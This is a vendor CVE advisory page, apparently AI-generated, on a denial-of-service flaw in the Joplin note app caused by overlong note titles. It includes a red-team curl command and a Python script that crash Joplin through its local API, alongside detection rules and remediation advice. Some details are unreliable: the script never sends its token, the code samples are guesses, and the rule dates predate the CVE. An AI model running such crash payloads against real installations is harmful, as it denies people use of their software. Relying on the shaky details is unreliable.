☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.5 🐛 CWE-770
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-57798

CVE-2025-57798 Denial of Service in Joplin
📅 PUBLISHED: 2026-05-19 21:16 UTC 🔄 UPDATED: 2026-09-23 20:29 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.16%
👁️
0.16% probability
4.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1499
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-57798 is a Denial of Service (DoS) vulnerability in Joplin, an open-source note-taking and to-do application. The flaw resides in the title input functionality, which lacks proper length validation. An attacker can cause an Out Of Memory (OOM) error and subsequent program termination by inserting an excessively long string into a note's title. This can be triggered either through direct user interface (UI) input or programmatically via the local web service API after compromising an authentication token. The vulnerability affects Joplin versions 3.6.14 and prior, and has been patched in version 3.7.1.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Joplin is an Electron-based application that uses npm packages. The vulnerability is in the application's own code, not in a third-party dependency. However, the local web service API (typically on port 41184) is a potential attack vector if an attacker gains access to the authentication token. This token could be exfiltrated via malware, local privilege escalation, or other means. The supply chain risk is moderate, as the attack requires local access or token compromise.

CVSS Breakdown & Threat Level

  • CVSS Score: 5.5 (Medium)
  • Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
  • Attack Vector: Local (AV:L) - The vulnerability can be exploited locally via UI or local API.
  • Attack Complexity: Low (AC:L) - No special conditions required.
  • Privileges Required: None (PR:N) - No authentication needed for UI exploitation; API exploitation requires token.
  • User Interaction: None (UI:N) - No user action needed beyond the attacker's actions.
  • Scope: Unchanged (S:U) - The vulnerability affects only the vulnerable component.
  • Confidentiality Impact: None (C:N) - No data exposure.
  • Integrity Impact: None (I:N) - No data modification.
  • Availability Impact: High (A:H) - The application becomes unavailable due to OOM crash.

Threat Level: Medium. The vulnerability requires local access or token compromise, but the impact is a complete denial of service.

Deep Dive & Mechanics

The vulnerability is a classic lack of input validation leading to resource exhaustion (CWE-770). Joplin's note title field does not enforce a maximum length. When an attacker provides an extremely long string (e.g., millions of characters), the application attempts to allocate memory to store this string. This leads to an Out Of Memory (OOM) condition, causing the application to crash.

Exploitation Vectors:

  1. User Interface (UI) Input: A local user can directly type or paste an extremely long string into the title field when creating or editing a note. This is the simplest method.
  2. Local Web Service API: Joplin runs a local web service on port 41184 (by default) that allows programmatic interaction. If an attacker compromises the authentication token (e.g., via malware), they can send a crafted HTTP POST request to create a note with an excessively long title. The API endpoint is typically /notes with a POST request containing a JSON body with a title parameter.

Root Cause: The application does not validate the length of the title input before allocating memory. This is a common oversight in applications that handle user input.

Impact: The application crashes, leading to loss of unsaved data and denial of service. The crash is immediate upon attempting to process the long string.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.6.14): The vulnerable code likely resides in the note creation/editing logic. A simplified example in JavaScript (Electron context):

// Vulnerable: No length check
function createNote(title, body) {
    const note = new Note();
    note.title = title; // Direct assignment without validation
    note.body = body;
    // ... save to database
}

Patched Code (>= 3.7.1): The patched code adds a length validation check:

// Patched: Length validation
function createNote(title, body) {
    const MAX_TITLE_LENGTH = 1000; // Example limit
    if (title.length > MAX_TITLE_LENGTH) {
        throw new Error('Title too long');
    }
    const note = new Note();
    note.title = title;
    note.body = body;
    // ... save to database
}

The patch ensures that the title length is checked before any memory allocation occurs, preventing the OOM condition.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Joplin version <= 3.6.14 installed locally.
  • For API exploitation: Access to the local web service (port 41184) and the authentication token.

Exploitation via UI:

  1. Open Joplin.
  2. Create a new note.
  3. In the title field, paste a string of 10 million characters (e.g., "A" repeated 10,000,000 times).
  4. The application will freeze and crash due to OOM.

Exploitation via API:

  1. Obtain the authentication token (e.g., from Joplin's config file or via malware).
  2. Send a crafted HTTP POST request:
curl -X POST http://localhost:41184/notes \
  -H "Content-Type: application/json" \
  -d '{"title": "'$(python3 -c "print('A'*10000000)")'", "body": "test"}'
  1. The application will crash.

Automated Exploit (Python):

import requests
import json

target = "http://localhost:41184"
token = "YOUR_TOKEN_HERE"  # Replace with actual token

# Create a note with an extremely long title
long_title = "A" * 10000000
payload = {
    "title": long_title,
    "body": "test"
}
headers = {"Content-Type": "application/json"}

try:
    response = requests.post(f"{target}/notes", json=payload, headers=headers)
    print(f"Status: {response.status_code}")
except requests.exceptions.ConnectionError:
    print("Application crashed (OOM)")

Blue Team

Detection:

  • Monitor for unusually long strings in note titles via logs or API requests.
  • Set up alerts for high memory usage by the Joplin process.
  • Monitor the local web service API for requests with excessively large payloads.

Prevention:

  • Update Joplin to version 3.7.1 or later.
  • Restrict access to the local web service API (e.g., firewall rules, authentication).
  • Use endpoint protection to detect and block large payloads.

Hunting:

  • Check Joplin logs for errors related to memory allocation.
  • Review network logs for API requests with large JSON payloads.

Indicators of Compromise (IOCs)

  • Process: Joplin process consuming excessive memory (e.g., > 2GB).
  • Network: HTTP POST requests to /notes with Content-Length headers indicating very large payloads (e.g., > 10 MB).
  • Logs: Joplin logs showing OutOfMemoryError or similar.
  • File: Note titles in the Joplin database that are excessively long (e.g., > 10,000 characters).

Detection Engineering

YARA Rule

rule CVE_2025_57798_Joplin_OOM {
    meta:
        description = "Detects Joplin note titles that are excessively long, indicating CVE-2025-57798 exploitation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-57798"
    strings:
        $long_title = /title.{0,100}[A-Za-z0-9]{10000,}/ nocase
    condition:
        $long_title
}

Sigma Rule

title: CVE-2025-57798 Joplin OOM Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-57798 by sending excessively long note titles to Joplin's local API
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-57798
logsource:
    category: webserver
    product: joplin
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/notes'
        cs-content-length|gte: 10000000
    condition: selection
falsepositives:
    - Legitimate large notes (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-57798 Joplin OOM Exploitation"; flow:to_server; content:"POST"; http_method; content:"/notes"; http_uri; content:"title"; http_client_body; byte_test:10,>,10000000,0,string,dec; reference:cve,2025-57798; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

  • Update Joplin to version 3.7.1 or later.
  • If update is not possible, restrict access to the local web service API (e.g., firewall rules, disable the API if not needed).

Long-term:

  • Implement input validation for all user inputs, especially length limits.
  • Use resource limits (e.g., memory quotas) to prevent OOM crashes.
  • Regularly review and update dependencies.

Workarounds:

  • Disable the local web service API if not required.
  • Use a reverse proxy to limit request sizes.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For further analysis, contact Valters IT.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-57798/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.